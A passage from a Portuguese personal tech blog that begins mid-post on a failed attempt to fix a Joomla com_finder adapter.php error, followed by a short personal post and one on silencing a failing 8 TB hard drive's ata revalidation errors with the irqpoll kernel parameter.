/var/www/loureiro.eng.br/administrator/components/com_finder/src/Indexer/Adapter.php
/var/www/loureiro.eng.br/administrator/components/com_finder/src/Indexer/DebugAdapter.php

O primeiro ítem eu criei manualmente pra tentar coibir o erro.  Dentro não tem nada.  E não deu certo.

Então usei a segunda referência.  Comentei a linha e apontei pra onde existe um Adapter.php:


$ rg -A 1 "com_finder/helpers/indexer/adapter.php" /var/www/loureiro.eng.br
/var/www/loureiro.eng.br/plugins/finder/weblinks/weblinks.php
15://require_once JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php';
16-require_once JPATH_ADMINISTRATOR . '/components/com_finder/src/Indexer/Adapter.php';

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251212-144959-340716.log.php
24599:DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)
24600-DEBUG   |20251212 14:50:16|-- Adding administrator/components/com_finder/helpers/indexer/helper.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/helper.php)

/var/www/loureiro.eng.br/administrator/components/com_akeebabackup/backup/akeeba.backend.id-20251228-175859-132763.log.php
24601:DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/adapter.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/adapter.php)
24602-DEBUG   |20251228 17:59:17|-- Adding administrator/components/com_finder/helpers/indexer/helper.php to archive (source: /var/www/loureiro.eng.br/administrator/components/com_finder/helpers/indexer/helper.php)

/var/www/loureiro.eng.br/administrator/components/com_admin/script.php
502:            //'/administrator/components/com_finder/helpers/indexer/adapter.php',
503-        '/administrator/components/com_finder/src/Indexer/Adapter.php',


O erro sumiu.

Por enquanto...

Update: é... não deu certo.  Ao tentar indexar pela busca rápida... xablau!

Cada dia mais Maddog

Details
Written by: Helio Loureiro
Category: Blog
Published: April 19, 2026
Hits: 206

Conforme o tempo passa, estou ficando mais e mais com a cara do Maddog.

 

E, claro, um motivo legal porque o Maddog é um cara excelente.

Dando um jeito no HD que fazia pipoca

Details
Written by: Helio Loureiro
Category: Linux
Published: April 10, 2026
Hits: 235
  • HDD

Your browser does not support the video tag.

Eu já fazia um tempo que um dos meus HDDs no desktop tava fazendo barulho de que estava estourando pipocas dentro.  E dando algumas mensagens de erro como essas aqui:

[   xx.xxxxxx] ata2.00: revalidation failed (errno=-5)
[   xx.xxxxxx] ata2.00: revalidation failed (errno=-5)

 E pra minha infelicidade era justamente o HDD novo de 8 TB que tinha comprado.  E atualmente não é uma época auspiciosa pra pensar em gastar em computador, com os preços duplicando de valor pra memórias e discos.

Mas dando uma buscada na Internet, encontrei o seguinte link:

https://superuser.com/questions/35984/booting-up-renders-error-ata1-00-revalidation-failed-errno-5-in-ubuntu

Então apliquei os parâmetros irqpoll all_generic_ide em /boot/default/grub, gerei uma configuração nova e rebootei.  E realmente resolveu a parada.

Segundo o link https://www.kernel.org/doc/html/v4.16/admin-guide/kernel-parameters.html :

When an interrupt is not handled search all handlers for it. Also check all handlers each timer interrupt. Intended to get systems with badly broken firmware running.

Ou seja, tava dando alguma zica de interrupção e aparentemente por conta de firmware zoado.

  • Sensor de temperatura no raspberry pi
  • Atualizando a câmera do raspberry pi 3
  • Goosfraba atualizado, em termos de estética
  • Uma Ferrari pra trabalhar
  • Melhorando o serviço de DNS automático da bolha

Page 1 of 39

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

Estatísticas

  • Users 2
  • Articles 509
  • Articles View Hits 3654123

Imagem aleatória